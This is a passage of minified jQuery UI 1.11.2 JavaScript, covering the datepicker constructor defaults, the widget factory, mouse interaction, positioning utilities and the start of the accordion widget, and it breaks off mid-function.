n(){this._curInst=null,this._keyEvent=!1,this._disabledInputs=[],this._datepickerShowing=!1,this._inDialog=!1,this._mainDivId="ui-datepicker-div",this._inlineClass="ui-datepicker-inline",this._appendClass="ui-datepicker-append",this._triggerClass="ui-datepicker-trigger",this._dialogClass="ui-datepicker-dialog",this._disableClass="ui-datepicker-disabled",this._unselectableClass="ui-datepicker-unselectable",this._currentClass="ui-datepicker-current-day",this._dayOverClass="ui-datepicker-days-cell-over",this.regional=[],this.regional[""]={closeText:"Done",prevText:"Prev",nextText:"Next",currentText:"Today",monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],monthNamesShort:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],dayNamesShort:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],dayNamesMin:["Su","Mo","Tu","We","Th","Fr","Sa"],weekHeader:"Wk",dateFormat:"mm/dd/yy",firstDay:0,isRTL:!1,showMonthAfterYear:!1,yearSuffix:""},this._defaults={showOn:"focus",showAnim:"fadeIn",showOptions:{},defaultDate:null,appendText:"",buttonText:"...",buttonImage:"",buttonImageOnly:!1,hideIfNoPrevNext:!1,navigationAsDateFormat:!1,gotoCurrent:!1,changeMonth:!1,changeYear:!1,yearRange:"c-10:c+10",showOtherMonths:!1,selectOtherMonths:!1,showWeek:!1,calculateWeek:this.iso8601Week,shortYearCutoff:"+10",minDate:null,maxDate:null,duration:"fast",beforeShowDay:null,beforeShow:null,onSelect:null,onChangeMonthYear:null,onClose:null,numberOfMonths:1,showCurrentAtPos:0,stepMonths:1,stepBigMonths:12,altField:"",altFormat:"",constrainInput:!0,showButtonPanel:!1,autoSize:!1,disabled:!1},e.extend(this._defaults,this.regional[""]),this.regional.en=e.extend(!0,{},this.regional[""]),this.regional["en-US"]=e.extend(!0,{},this.regional.en),this.dpDiv=a(e("<div id='"+this._mainDivId+"' class='ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>"))}function a(t){var i="button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a";return t.delegate(i,"mouseout",function(){e(this).removeClass("ui-state-hover"),-1!==this.className.indexOf("ui-datepicker-prev")&&e(this).removeClass("ui-datepicker-prev-hover"),-1!==this.className.indexOf("ui-datepicker-next")&&e(this).removeClass("ui-datepicker-next-hover")}).delegate(i,"mouseover",o)}function o(){e.datepicker._isDisabledDatepicker(v.inline?v.dpDiv.parent()[0]:v.input[0])||(e(this).parents(".ui-datepicker-calendar").find("a").removeClass("ui-state-hover"),e(this).addClass("ui-state-hover"),-1!==this.className.indexOf("ui-datepicker-prev")&&e(this).addClass("ui-datepicker-prev-hover"),-1!==this.className.indexOf("ui-datepicker-next")&&e(this).addClass("ui-datepicker-next-hover"))}function r(t,i){e.extend(t,i);for(var s in i)null==i[s]&&(t[s]=i[s]);return t}function h(e){return function(){var t=this.element.val();e.apply(this,arguments),this._refresh(),t!==this.element.val()&&this._trigger("change")}}e.ui=e.ui||{},e.extend(e.ui,{version:"1.11.2",keyCode:{BACKSPACE:8,COMMA:188,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,LEFT:37,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SPACE:32,TAB:9,UP:38}}),e.fn.extend({scrollParent:function(t){var i=this.css("position"),s="absolute"===i,n=t?/(auto|scroll|hidden)/:/(auto|scroll)/,a=this.parents().filter(function(){var t=e(this);return s&&"static"===t.css("position")?!1:n.test(t.css("overflow")+t.css("overflow-y")+t.css("overflow-x"))}).eq(0);return"fixed"!==i&&a.length?a:e(this[0].ownerDocument||document)},uniqueId:function(){var e=0;return function(){return this.each(function(){this.id||(this.id="ui-id-"+ ++e)})}}(),removeUniqueId:function(){return this.each(function(){/^ui-id-\d+$/.test(this.id)&&e(this).removeAttr("id")})}}),e.extend(e.expr[":"],{data:e.expr.createPseudo?e.expr.createPseudo(function(t){return function(i){return!!e.data(i,t)}}):function(t,i,s){return!!e.data(t,s[3])},focusable:function(i){return t(i,!isNaN(e.attr(i,"tabindex")))},tabbable:function(i){var s=e.attr(i,"tabindex"),n=isNaN(s);return(n||s>=0)&&t(i,!n)}}),e("<a>").outerWidth(1).jquery||e.each(["Width","Height"],function(t,i){function s(t,i,s,a){return e.each(n,function(){i-=parseFloat(e.css(t,"padding"+this))||0,s&&(i-=parseFloat(e.css(t,"border"+this+"Width"))||0),a&&(i-=parseFloat(e.css(t,"margin"+this))||0)}),i}var n="Width"===i?["Left","Right"]:["Top","Bottom"],a=i.toLowerCase(),o={innerWidth:e.fn.innerWidth,innerHeight:e.fn.innerHeight,outerWidth:e.fn.outerWidth,outerHeight:e.fn.outerHeight};e.fn["inner"+i]=function(t){return void 0===t?o["inner"+i].call(this):this.each(function(){e(this).css(a,s(this,t)+"px")})},e.fn["outer"+i]=function(t,n){return"number"!=typeof t?o["outer"+i].call(this,t):this.each(function(){e(this).css(a,s(this,t,!0,n)+"px")})}}),e.fn.addBack||(e.fn.addBack=function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}),e("<a>").data("a-b","a").removeData("a-b").data("a-b")&&(e.fn.removeData=function(t){return function(i){return arguments.length?t.call(this,e.camelCase(i)):t.call(this)}}(e.fn.removeData)),e.ui.ie=!!/msie [\w.]+/.exec(navigator.userAgent.toLowerCase()),e.fn.extend({focus:function(t){return function(i,s){return"number"==typeof i?this.each(function(){var t=this;setTimeout(function(){e(t).focus(),s&&s.call(t)},i)}):t.apply(this,arguments)}}(e.fn.focus),disableSelection:function(){var e="onselectstart"in document.createElement("div")?"selectstart":"mousedown";return function(){return this.bind(e+".ui-disableSelection",function(e){e.preventDefault()})}}(),enableSelection:function(){return this.unbind(".ui-disableSelection")},zIndex:function(t){if(void 0!==t)return this.css("zIndex",t);if(this.length)for(var i,s,n=e(this[0]);n.length&&n[0]!==document;){if(i=n.css("position"),("absolute"===i||"relative"===i||"fixed"===i)&&(s=parseInt(n.css("zIndex"),10),!isNaN(s)&&0!==s))return s;n=n.parent()}return 0}}),e.ui.plugin={add:function(t,i,s){var n,a=e.ui[t].prototype;for(n in s)a.plugins[n]=a.plugins[n]||[],a.plugins[n].push([i,s[n]])},call:function(e,t,i,s){var n,a=e.plugins[t];if(a&&(s||e.element[0].parentNode&&11!==e.element[0].parentNode.nodeType))for(n=0;a.length>n;n++)e.options[a[n][0]]&&a[n][1].apply(e.element,i)}};var l=0,u=Array.prototype.slice;e.cleanData=function(t){return function(i){var s,n,a;for(a=0;null!=(n=i[a]);a++)try{s=e._data(n,"events"),s&&s.remove&&e(n).triggerHandler("remove")}catch(o){}t(i)}}(e.cleanData),e.widget=function(t,i,s){var n,a,o,r,h={},l=t.split(".")[0];return t=t.split(".")[1],n=l+"-"+t,s||(s=i,i=e.Widget),e.expr[":"][n.toLowerCase()]=function(t){return!!e.data(t,n)},e[l]=e[l]||{},a=e[l][t],o=e[l][t]=function(e,t){return this._createWidget?(arguments.length&&this._createWidget(e,t),void 0):new o(e,t)},e.extend(o,a,{version:s.version,_proto:e.extend({},s),_childConstructors:[]}),r=new i,r.options=e.widget.extend({},r.options),e.each(s,function(t,s){return e.isFunction(s)?(h[t]=function(){var e=function(){return i.prototype[t].apply(this,arguments)},n=function(e){return i.prototype[t].apply(this,e)};return function(){var t,i=this._super,a=this._superApply;return this._super=e,this._superApply=n,t=s.apply(this,arguments),this._super=i,this._superApply=a,t}}(),void 0):(h[t]=s,void 0)}),o.prototype=e.widget.extend(r,{widgetEventPrefix:a?r.widgetEventPrefix||t:t},h,{constructor:o,namespace:l,widgetName:t,widgetFullName:n}),a?(e.each(a._childConstructors,function(t,i){var s=i.prototype;e.widget(s.namespace+"."+s.widgetName,o,i._proto)}),delete a._childConstructors):i._childConstructors.push(o),e.widget.bridge(t,o),o},e.widget.extend=function(t){for(var i,s,n=u.call(arguments,1),a=0,o=n.length;o>a;a++)for(i in n[a])s=n[a][i],n[a].hasOwnProperty(i)&&void 0!==s&&(t[i]=e.isPlainObject(s)?e.isPlainObject(t[i])?e.widget.extend({},t[i],s):e.widget.extend({},s):s);return t},e.widget.bridge=function(t,i){var s=i.prototype.widgetFullName||t;e.fn[t]=function(n){var a="string"==typeof n,o=u.call(arguments,1),r=this;return n=!a&&o.length?e.widget.extend.apply(null,[n].concat(o)):n,a?this.each(function(){var i,a=e.data(this,s);return"instance"===n?(r=a,!1):a?e.isFunction(a[n])&&"_"!==n.charAt(0)?(i=a[n].apply(a,o),i!==a&&void 0!==i?(r=i&&i.jquery?r.pushStack(i.get()):i,!1):void 0):e.error("no such method '"+n+"' for "+t+" widget instance"):e.error("cannot call methods on "+t+" prior to initialization; "+"attempted to call method '"+n+"'")}):this.each(function(){var t=e.data(this,s);t?(t.option(n||{}),t._init&&t._init()):e.data(this,s,new i(n,this))}),r}},e.Widget=function(){},e.Widget._childConstructors=[],e.Widget.prototype={widgetName:"widget",widgetEventPrefix:"",defaultElement:"<div>",options:{disabled:!1,create:null},_createWidget:function(t,i){i=e(i||this.defaultElement||this)[0],this.element=e(i),this.uuid=l++,this.eventNamespace="."+this.widgetName+this.uuid,this.bindings=e(),this.hoverable=e(),this.focusable=e(),i!==this&&(e.data(i,this.widgetFullName,this),this._on(!0,this.element,{remove:function(e){e.target===i&&this.destroy()}}),this.document=e(i.style?i.ownerDocument:i.document||i),this.window=e(this.document[0].defaultView||this.document[0].parentWindow)),this.options=e.widget.extend({},this.options,this._getCreateOptions(),t),this._create(),this._trigger("create",null,this._getCreateEventData()),this._init()},_getCreateOptions:e.noop,_getCreateEventData:e.noop,_create:e.noop,_init:e.noop,destroy:function(){this._destroy(),this.element.unbind(this.eventNamespace).removeData(this.widgetFullName).removeData(e.camelCase(this.widgetFullName)),this.widget().unbind(this.eventNamespace).removeAttr("aria-disabled").removeClass(this.widgetFullName+"-disabled "+"ui-state-disabled"),this.bindings.unbind(this.eventNamespace),this.hoverable.removeClass("ui-state-hover"),this.focusable.removeClass("ui-state-focus")},_destroy:e.noop,widget:function(){return this.element},option:function(t,i){var s,n,a,o=t;if(0===arguments.length)return e.widget.extend({},this.options);if("string"==typeof t)if(o={},s=t.split("."),t=s.shift(),s.length){for(n=o[t]=e.widget.extend({},this.options[t]),a=0;s.length-1>a;a++)n[s[a]]=n[s[a]]||{},n=n[s[a]];if(t=s.pop(),1===arguments.length)return void 0===n[t]?null:n[t];n[t]=i}else{if(1===arguments.length)return void 0===this.options[t]?null:this.options[t];o[t]=i}return this._setOptions(o),this},_setOptions:function(e){var t;for(t in e)this._setOption(t,e[t]);return this},_setOption:function(e,t){return this.options[e]=t,"disabled"===e&&(this.widget().toggleClass(this.widgetFullName+"-disabled",!!t),t&&(this.hoverable.removeClass("ui-state-hover"),this.focusable.removeClass("ui-state-focus"))),this},enable:function(){return this._setOptions({disabled:!1})},disable:function(){return this._setOptions({disabled:!0})},_on:function(t,i,s){var n,a=this;"boolean"!=typeof t&&(s=i,i=t,t=!1),s?(i=n=e(i),this.bindings=this.bindings.add(i)):(s=i,i=this.element,n=this.widget()),e.each(s,function(s,o){function r(){return t||a.options.disabled!==!0&&!e(this).hasClass("ui-state-disabled")?("string"==typeof o?a[o]:o).apply(a,arguments):void 0}"string"!=typeof o&&(r.guid=o.guid=o.guid||r.guid||e.guid++);var h=s.match(/^([\w:-]*)\s*(.*)$/),l=h[1]+a.eventNamespace,u=h[2];u?n.delegate(u,l,r):i.bind(l,r)})},_off:function(t,i){i=(i||"").split(" ").join(this.eventNamespace+" ")+this.eventNamespace,t.unbind(i).undelegate(i),this.bindings=e(this.bindings.not(t).get()),this.focusable=e(this.focusable.not(t).get()),this.hoverable=e(this.hoverable.not(t).get())},_delay:function(e,t){function i(){return("string"==typeof e?s[e]:e).apply(s,arguments)}var s=this;return setTimeout(i,t||0)},_hoverable:function(t){this.hoverable=this.hoverable.add(t),this._on(t,{mouseenter:function(t){e(t.currentTarget).addClass("ui-state-hover")},mouseleave:function(t){e(t.currentTarget).removeClass("ui-state-hover")}})},_focusable:function(t){this.focusable=this.focusable.add(t),this._on(t,{focusin:function(t){e(t.currentTarget).addClass("ui-state-focus")},focusout:function(t){e(t.currentTarget).removeClass("ui-state-focus")}})},_trigger:function(t,i,s){var n,a,o=this.options[t];if(s=s||{},i=e.Event(i),i.type=(t===this.widgetEventPrefix?t:this.widgetEventPrefix+t).toLowerCase(),i.target=this.element[0],a=i.originalEvent)for(n in a)n in i||(i[n]=a[n]);return this.element.trigger(i,s),!(e.isFunction(o)&&o.apply(this.element[0],[i].concat(s))===!1||i.isDefaultPrevented())}},e.each({show:"fadeIn",hide:"fadeOut"},function(t,i){e.Widget.prototype["_"+t]=function(s,n,a){"string"==typeof n&&(n={effect:n});var o,r=n?n===!0||"number"==typeof n?i:n.effect||i:t;n=n||{},"number"==typeof n&&(n={duration:n}),o=!e.isEmptyObject(n),n.complete=a,n.delay&&s.delay(n.delay),o&&e.effects&&e.effects.effect[r]?s[t](n):r!==t&&s[r]?s[r](n.duration,n.easing,a):s.queue(function(i){e(this)[t](),a&&a.call(s[0]),i()})}}),e.widget;var d=!1;e(document).mouseup(function(){d=!1}),e.widget("ui.mouse",{version:"1.11.2",options:{cancel:"input,textarea,button,select,option",distance:1,delay:0},_mouseInit:function(){var t=this;this.element.bind("mousedown."+this.widgetName,function(e){return t._mouseDown(e)}).bind("click."+this.widgetName,function(i){return!0===e.data(i.target,t.widgetName+".preventClickEvent")?(e.removeData(i.target,t.widgetName+".preventClickEvent"),i.stopImmediatePropagation(),!1):void 0}),this.started=!1},_mouseDestroy:function(){this.element.unbind("."+this.widgetName),this._mouseMoveDelegate&&this.document.unbind("mousemove."+this.widgetName,this._mouseMoveDelegate).unbind("mouseup."+this.widgetName,this._mouseUpDelegate)},_mouseDown:function(t){if(!d){this._mouseMoved=!1,this._mouseStarted&&this._mouseUp(t),this._mouseDownEvent=t;var i=this,s=1===t.which,n="string"==typeof this.options.cancel&&t.target.nodeName?e(t.target).closest(this.options.cancel).length:!1;return s&&!n&&this._mouseCapture(t)?(this.mouseDelayMet=!this.options.delay,this.mouseDelayMet||(this._mouseDelayTimer=setTimeout(function(){i.mouseDelayMet=!0},this.options.delay)),this._mouseDistanceMet(t)&&this._mouseDelayMet(t)&&(this._mouseStarted=this._mouseStart(t)!==!1,!this._mouseStarted)?(t.preventDefault(),!0):(!0===e.data(t.target,this.widgetName+".preventClickEvent")&&e.removeData(t.target,this.widgetName+".preventClickEvent"),this._mouseMoveDelegate=function(e){return i._mouseMove(e)},this._mouseUpDelegate=function(e){return i._mouseUp(e)},this.document.bind("mousemove."+this.widgetName,this._mouseMoveDelegate).bind("mouseup."+this.widgetName,this._mouseUpDelegate),t.preventDefault(),d=!0,!0)):!0}},_mouseMove:function(t){if(this._mouseMoved){if(e.ui.ie&&(!document.documentMode||9>document.documentMode)&&!t.button)return this._mouseUp(t);if(!t.which)return this._mouseUp(t)}return(t.which||t.button)&&(this._mouseMoved=!0),this._mouseStarted?(this._mouseDrag(t),t.preventDefault()):(this._mouseDistanceMet(t)&&this._mouseDelayMet(t)&&(this._mouseStarted=this._mouseStart(this._mouseDownEvent,t)!==!1,this._mouseStarted?this._mouseDrag(t):this._mouseUp(t)),!this._mouseStarted)},_mouseUp:function(t){return this.document.unbind("mousemove."+this.widgetName,this._mouseMoveDelegate).unbind("mouseup."+this.widgetName,this._mouseUpDelegate),this._mouseStarted&&(this._mouseStarted=!1,t.target===this._mouseDownEvent.target&&e.data(t.target,this.widgetName+".preventClickEvent",!0),this._mouseStop(t)),d=!1,!1},_mouseDistanceMet:function(e){return Math.max(Math.abs(this._mouseDownEvent.pageX-e.pageX),Math.abs(this._mouseDownEvent.pageY-e.pageY))>=this.options.distance},_mouseDelayMet:function(){return this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return!0}}),function(){function t(e,t,i){return[parseFloat(e[0])*(p.test(e[0])?t/100:1),parseFloat(e[1])*(p.test(e[1])?i/100:1)]}function i(t,i){return parseInt(e.css(t,i),10)||0}function s(t){var i=t[0];return 9===i.nodeType?{width:t.width(),height:t.height(),offset:{top:0,left:0}}:e.isWindow(i)?{width:t.width(),height:t.height(),offset:{top:t.scrollTop(),left:t.scrollLeft()}}:i.preventDefault?{width:0,height:0,offset:{top:i.pageY,left:i.pageX}}:{width:t.outerWidth(),height:t.outerHeight(),offset:t.offset()}}e.ui=e.ui||{};var n,a,o=Math.max,r=Math.abs,h=Math.round,l=/left|center|right/,u=/top|center|bottom/,d=/[\+\-]\d+(\.[\d]+)?%?/,c=/^\w+/,p=/%$/,f=e.fn.position;e.position={scrollbarWidth:function(){if(void 0!==n)return n;var t,i,s=e("<div style='display:block;position:absolute;width:50px;height:50px;overflow:hidden;'><div style='height:100px;width:auto;'></div></div>"),a=s.children()[0];return e("body").append(s),t=a.offsetWidth,s.css("overflow","scroll"),i=a.offsetWidth,t===i&&(i=s[0].clientWidth),s.remove(),n=t-i},getScrollInfo:function(t){var i=t.isWindow||t.isDocument?"":t.element.css("overflow-x"),s=t.isWindow||t.isDocument?"":t.element.css("overflow-y"),n="scroll"===i||"auto"===i&&t.width<t.element[0].scrollWidth,a="scroll"===s||"auto"===s&&t.height<t.element[0].scrollHeight;return{width:a?e.position.scrollbarWidth():0,height:n?e.position.scrollbarWidth():0}},getWithinInfo:function(t){var i=e(t||window),s=e.isWindow(i[0]),n=!!i[0]&&9===i[0].nodeType;return{element:i,isWindow:s,isDocument:n,offset:i.offset()||{left:0,top:0},scrollLeft:i.scrollLeft(),scrollTop:i.scrollTop(),width:s||n?i.width():i.outerWidth(),height:s||n?i.height():i.outerHeight()}}},e.fn.position=function(n){if(!n||!n.of)return f.apply(this,arguments);n=e.extend({},n);var p,m,g,v,y,b,_=e(n.of),x=e.position.getWithinInfo(n.within),w=e.position.getScrollInfo(x),k=(n.collision||"flip").split(" "),T={};return b=s(_),_[0].preventDefault&&(n.at="left top"),m=b.width,g=b.height,v=b.offset,y=e.extend({},v),e.each(["my","at"],function(){var e,t,i=(n[this]||"").split(" ");1===i.length&&(i=l.test(i[0])?i.concat(["center"]):u.test(i[0])?["center"].concat(i):["center","center"]),i[0]=l.test(i[0])?i[0]:"center",i[1]=u.test(i[1])?i[1]:"center",e=d.exec(i[0]),t=d.exec(i[1]),T[this]=[e?e[0]:0,t?t[0]:0],n[this]=[c.exec(i[0])[0],c.exec(i[1])[0]]}),1===k.length&&(k[1]=k[0]),"right"===n.at[0]?y.left+=m:"center"===n.at[0]&&(y.left+=m/2),"bottom"===n.at[1]?y.top+=g:"center"===n.at[1]&&(y.top+=g/2),p=t(T.at,m,g),y.left+=p[0],y.top+=p[1],this.each(function(){var s,l,u=e(this),d=u.outerWidth(),c=u.outerHeight(),f=i(this,"marginLeft"),b=i(this,"marginTop"),D=d+f+i(this,"marginRight")+w.width,S=c+b+i(this,"marginBottom")+w.height,M=e.extend({},y),C=t(T.my,u.outerWidth(),u.outerHeight());"right"===n.my[0]?M.left-=d:"center"===n.my[0]&&(M.left-=d/2),"bottom"===n.my[1]?M.top-=c:"center"===n.my[1]&&(M.top-=c/2),M.left+=C[0],M.top+=C[1],a||(M.left=h(M.left),M.top=h(M.top)),s={marginLeft:f,marginTop:b},e.each(["left","top"],function(t,i){e.ui.position[k[t]]&&e.ui.position[k[t]][i](M,{targetWidth:m,targetHeight:g,elemWidth:d,elemHeight:c,collisionPosition:s,collisionWidth:D,collisionHeight:S,offset:[p[0]+C[0],p[1]+C[1]],my:n.my,at:n.at,within:x,elem:u})}),n.using&&(l=function(e){var t=v.left-M.left,i=t+m-d,s=v.top-M.top,a=s+g-c,h={target:{element:_,left:v.left,top:v.top,width:m,height:g},element:{element:u,left:M.left,top:M.top,width:d,height:c},horizontal:0>i?"left":t>0?"right":"center",vertical:0>a?"top":s>0?"bottom":"middle"};d>m&&m>r(t+i)&&(h.horizontal="center"),c>g&&g>r(s+a)&&(h.vertical="middle"),h.important=o(r(t),r(i))>o(r(s),r(a))?"horizontal":"vertical",n.using.call(this,e,h)}),u.offset(e.extend(M,{using:l}))})},e.ui.position={fit:{left:function(e,t){var i,s=t.within,n=s.isWindow?s.scrollLeft:s.offset.left,a=s.width,r=e.left-t.collisionPosition.marginLeft,h=n-r,l=r+t.collisionWidth-a-n;t.collisionWidth>a?h>0&&0>=l?(i=e.left+h+t.collisionWidth-a-n,e.left+=h-i):e.left=l>0&&0>=h?n:h>l?n+a-t.collisionWidth:n:h>0?e.left+=h:l>0?e.left-=l:e.left=o(e.left-r,e.left)},top:function(e,t){var i,s=t.within,n=s.isWindow?s.scrollTop:s.offset.top,a=t.within.height,r=e.top-t.collisionPosition.marginTop,h=n-r,l=r+t.collisionHeight-a-n;t.collisionHeight>a?h>0&&0>=l?(i=e.top+h+t.collisionHeight-a-n,e.top+=h-i):e.top=l>0&&0>=h?n:h>l?n+a-t.collisionHeight:n:h>0?e.top+=h:l>0?e.top-=l:e.top=o(e.top-r,e.top)}},flip:{left:function(e,t){var i,s,n=t.within,a=n.offset.left+n.scrollLeft,o=n.width,h=n.isWindow?n.scrollLeft:n.offset.left,l=e.left-t.collisionPosition.marginLeft,u=l-h,d=l+t.collisionWidth-o-h,c="left"===t.my[0]?-t.elemWidth:"right"===t.my[0]?t.elemWidth:0,p="left"===t.at[0]?t.targetWidth:"right"===t.at[0]?-t.targetWidth:0,f=-2*t.offset[0];0>u?(i=e.left+c+p+f+t.collisionWidth-o-a,(0>i||r(u)>i)&&(e.left+=c+p+f)):d>0&&(s=e.left-t.collisionPosition.marginLeft+c+p+f-h,(s>0||d>r(s))&&(e.left+=c+p+f))},top:function(e,t){var i,s,n=t.within,a=n.offset.top+n.scrollTop,o=n.height,h=n.isWindow?n.scrollTop:n.offset.top,l=e.top-t.collisionPosition.marginTop,u=l-h,d=l+t.collisionHeight-o-h,c="top"===t.my[1],p=c?-t.elemHeight:"bottom"===t.my[1]?t.elemHeight:0,f="top"===t.at[1]?t.targetHeight:"bottom"===t.at[1]?-t.targetHeight:0,m=-2*t.offset[1];0>u?(s=e.top+p+f+m+t.collisionHeight-o-a,e.top+p+f+m>u&&(0>s||r(u)>s)&&(e.top+=p+f+m)):d>0&&(i=e.top-t.collisionPosition.marginTop+p+f+m-h,e.top+p+f+m>d&&(i>0||d>r(i))&&(e.top+=p+f+m))}},flipfit:{left:function(){e.ui.position.flip.left.apply(this,arguments),e.ui.position.fit.left.apply(this,arguments)},top:function(){e.ui.position.flip.top.apply(this,arguments),e.ui.position.fit.top.apply(this,arguments)}}},function(){var t,i,s,n,o,r=document.getElementsByTagName("body")[0],h=document.createElement("div");t=document.createElement(r?"div":"body"),s={visibility:"hidden",width:0,height:0,border:0,margin:0,background:"none"},r&&e.extend(s,{position:"absolute",left:"-1000px",top:"-1000px"});for(o in s)t.style[o]=s[o];t.appendChild(h),i=r||document.documentElement,i.insertBefore(t,i.firstChild),h.style.cssText="position: absolute; left: 10.7432222px;",n=e(h).offset().left,a=n>10&&11>n,t.innerHTML="",i.removeChild(t)}()}(),e.ui.position,e.widget("ui.accordion",{version:"1.11.2",options:{active:0,animate:{},collapsible:!1,event:"click",header:"> li > :first-child,> :not(li):even",heightStyle:"auto",icons:{activeHeader:"ui-icon-triangle-1-s",header:"ui-icon-triangle-1-e"},activate:null,beforeActivate:null},hideProps:{borderTopWidth:"hide",borderBottomWidth:"hide",paddingTop:"hide",paddingBottom:"hide",height:"hide"},showProps:{borderTopWidth:"show",borderBottomWidth:"show",paddingTop:"show",paddingBottom:"show",height:"show"},_create:function(){var t=this.options;this.prevShow=this.prevHide=e(),this.element.addClass("ui-accordion ui-widget ui-helper-reset").attr("role","tablist"),t.collapsible||t.active!==!1&&null!=t.active||(t.active=0),this._processPanels(),0>t.active&&(t.active+=this.headers.length),this._refresh()},_getCreateEventData:function(){return{header:this.active,panel:this.active.length?this.active.next():e()}},_createIcons:function(){var t=this.options.icons;t&&(e("<span>").addClass("ui-accordion-header-icon ui-icon "+t.header).prependTo(this.headers),this.active.children(".ui-accordion-header-icon").removeClass(t.header).addClass(t.activeHeader),this.headers.addClass("ui-accordion-icons"))},_destroyIcons:function(){this.headers.removeClass("ui-accordion-icons").children(".ui-accordion-header-icon").remove()},_destroy:function(){var e;this.element.removeClass("ui-accordion ui-widget ui-helper-reset").removeAttr("role"),this.headers.removeClass("ui-accordion-header ui-accordion-header-active ui-state-default ui-corner-all ui-state-active ui-state-disabled ui-corner-top").removeAttr("role").removeAttr("aria-expanded").removeAttr("aria-selected").removeAttr("aria-controls").removeAttr("tabIndex").removeUniqueId(),this._destroyIcons(),e=this.headers.next().removeClass("ui-helper-reset ui-widget-content ui-corner-bottom ui-accordion-content ui-accordion-content-active ui-state-disabled").css("display","").removeAttr("role").removeAttr("aria-hidden").removeAttr("aria-labelledby").removeUniqueId(),"content"!==this.options.heightStyle&&e.css("height","")},_setOption:function(e,t){return"active"===e?(this._activate(t),void 0):("event"===e&&(this.options.event&&this._off(this.headers,this.options.event),this._setupEvents(t)),this._super(e,t),"collapsible"!==e||t||this.options.active!==!1||this._activate(0),"icons"===e&&(this._destroyIcons(),t&&this._createIcons()),"disabled"===e&&(this.element.toggleClass("ui-state-disabled",!!t).attr("aria-disabled",t),this.headers.add(this.headers.next()).toggleClass("ui-state-disabled",!!t)),void 0)},_keydown:function(t){if(!t.altKey&&!t.ctrlKey){var i=e.ui.keyCode,s=this.headers.length,n=this.headers.index(t.target),a=!1;switch(t.keyCode){case i.RIGHT:case i.DOWN:a=this.headers[(n+1)%s];break;case i.LEFT:case i.UP:a=this.headers[(n-1+s)%s];break;case i.SPACE:case i.ENTER:this._eventHandler(t);break;case i.HOME:a=this.headers[0];break;case i.END:a=this.headers[s-1]}a&&(e(t.target).attr("tabIndex",-1),e(a).attr("tabIndex",0),a.focus(),t.preventDefault())}},_panelKeyDown:function(t){t.keyCode===e.ui.keyCode.UP&&t.ctrlKey&&e(t.currentTarget).prev().focus()},refresh:function(){var t=this.options;this._processPanels(),t.active===!1&&t.collapsible===!0||!this.headers.length?(t.active=!1,this.active=e()):t.active===!1?this._activate(0):this.active.length&&!e.contains(this.element[0],this.active[0])?this.headers.length===this.headers.find(".ui-state-disabled").length?(t.active=!1,this.active=e()):this._activate(Math.max(0,t.active-1)):t.active=this.headers.index(this.active),this._destroyIcons(),this._refresh()},_processPanels:function(){var e=this.headers,t=this.panels;this.headers=this.element.find(this.options.header).addClass("ui-accordion-header ui-state-default ui-corner-all"),this.panels=this.headers.next().addClass("ui-accordion-content ui-helper-reset ui-widget-content ui-corner-bottom").filter(":not(.ui-accordion-content-active)").hide(),t&&(this._off(e.not(this.headers)),this._off(t.not(this.panels)))},_refresh:function(){var t,i=this.options,s=i.heightStyle,n=this.element.parent();this.active=this._findActive(i.active).addClass("ui-accordion-header-active ui-state-active ui-corner-top").removeClass("ui-corner-all"),this.active.next().addClass("ui-accordion-content-active").show(),this.headers.attr("role","tab").each(function(){var t=e(this),i=t.uniqueId().attr("id"),s=t.next(),n=s.uniqueId().attr("id");t.attr("aria-controls",n),s.attr("aria-labelledby",i)}).next().attr("role","tabpanel"),this.headers.not(this.active).attr({"aria-selected":"false","aria-expanded":"false",tabIndex:-1}).next().attr({"aria-hidden":"true"}).hide(),this.active.length?this.active.attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0}).next().attr({"aria-hidden":"false"}):this.headers.eq(0).attr("tabIndex",0),this._createIcons(),this._setupEvents(i.event),"fill"===s?(t=n.height(),this.element.siblings(":visible").each(function(){var i=e(this),s=i.css("position");"absolute"!==s&&"fixed"!==s&&(t-=i.outerHeight(!0))}),this.headers.each(function(){t-=e(this).outerHeight(!0)}),this.headers.next().each(function(){e(this).height(Math.max(0,t-e(this).innerHeight()+e(this).height()))}).css("overflow","auto")):"auto"===s&&(t=0,this.headers.next().each(function(){t=Math.max(t,e(this).css("height","").height())}).height(t))},_activate:function(t){var i=this._findActive(t)[0];i!==this.active[0]&&(i=i||this.active[0],this._eventHandler({target:i,currentTarget:i,preventDefault:e.noop}))},_findActive:function(t){return"number"==typeof t?this.headers.eq(t):e()},_setupEvents:function(t){var i={keydown:"_keydown"};t&&e.each(t.split(" "),function(e,t){i[t]="_eventHandler"}),this._off(this.headers.add(this.headers.next())),this._on(this.headers,i),this._on(this.headers.next(),{keydown:"_panelKeyDown"}),this._hoverable(this.headers),this._focusable(this.headers)},_eventHandler:function(t){var i=this.options,s=this.active,n=e(t.currentTarget),a=n[0]===s[0],o=a&&i.collapsible,r=o?e():n.next(),h=s.next(),l={oldHeader:s,oldPanel:h,newHeader:o?e():n,newPanel:r};t.preventDefault(),a&&!i.collapsible||this._trigger("beforeActivate",t,l)===!1||(i.active=o?!1:this.headers.index(n),this.active=a?e():n,this._toggle(l),s.removeClass("ui-accordion-header-active ui-state-active"),i.icons&&s.children(".ui-accordion-header-icon").removeClass(i.icons.activeHeader).addClass(i.icons.header),a||(n.removeClass("ui-corner-all").addClass("ui-accordion-header-active ui-state-active ui-corner-top"),i.icons&&n.children(".ui-accordion-header-icon").removeClass(i.icons.header).addClass(i.icons.activeHeader),n.next().addClass("ui-accordion-content-active")))},_toggle:function(t){var 